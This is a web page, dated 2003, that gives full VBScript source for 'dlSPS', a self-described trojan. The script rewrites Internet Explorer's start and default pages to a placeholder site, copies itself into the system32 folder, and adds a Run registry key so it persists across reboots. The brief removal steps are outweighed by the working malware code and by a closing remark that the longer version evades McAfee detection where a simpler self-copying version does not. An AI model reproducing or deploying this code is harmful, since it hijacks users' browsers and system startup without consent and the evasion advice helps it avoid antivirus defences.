VBS/dlSPS - IE browser startpage swapper Virus source

This VBS start page swapper file will change the targets I.E. browsers start page and default page settings, then it writes a basic duplicate script file in the %systemroot%\system32\ directory and adds that script file to the registry location: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ in order to run the file on each reboot.

Classification: This virus is NON destructive.

Method of uninfection: Remove the registry key and the file located at c:\%systemroot%\system32\dlSPS.vbs. Then change your start page back as usual.

rem - dlSPS 'DL StartPage Swapper' VBS Trojan By D.L. - Written on: November 4th, 2003

On Error Resume Next
dim FSobj,sysDir,generateSelf,newFile,fixedCode,procreateSelf,newFileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.YOURSITE.com"
createRegKey "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.YOURSITE.com"
createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlSPS",sysDir&"\dlSPS.vbs"

set generateSelf=FSobj.CreateTextFile(sysDir+"\dlSPS.vbs")
generateSelf.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
writeCopy()
fixedCode=replace(newFileData,chr(94),"""")

set procreateSelf=FSobj.OpenTextFile(sysDir+"\dlSPS.vbs",2)
procreateSelf.write fixedCode
procreateSelf.close

sub createRegKey(regKey,regVal)
     set regEdit = CreateObject("WScript.Shell")
     regEdit.RegWrite regKey,regVal
end sub

function writeCopy()
     newFileData="rem - ^dlSPS^ by D.L." &vbcrlf& _
     "set FSobj=CreateObject(^Scripting.FileSystemObject^)" &vbcrlf& _
     "set sysDir = FSobj.GetSpecialFolder(1)" &vbcrlf& _
     "createRegKey ^HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page^,^http://www.YOURSITE.com^" &vbcrlf& _
     "createRegKey ^HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Default_Page_URL^,^http://www.YOURSITE.com^" &vbcrlf& _
     "createRegKey ^HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlSPS^,sysDir&^\dlSPS.vbs^" &vbcrlf& _
     "sub createRegKey(regKey,regVal)" &vbcrlf& _
     "set regEdit = CreateObject(^WScript.Shell^)" &vbcrlf& _
     "regEdit.RegWrite regKey,regVal" &vbcrlf& _
     "end sub"
end function

Interestingly enough this script can also be written as simply as the code below...BUT, the fact that the below code makes exact copies of itself will trigger certain AV that looks for 'signs' of new viruses plus you have to understand that most AV software will look at what the script is doing in regards to the type of objects used and so on. For an image of the scanning results of both files from McAfee AV click here. Notice how the longer version passed the test but the shorter version was detected as 'New Script' by McAfee.

Click here to go back.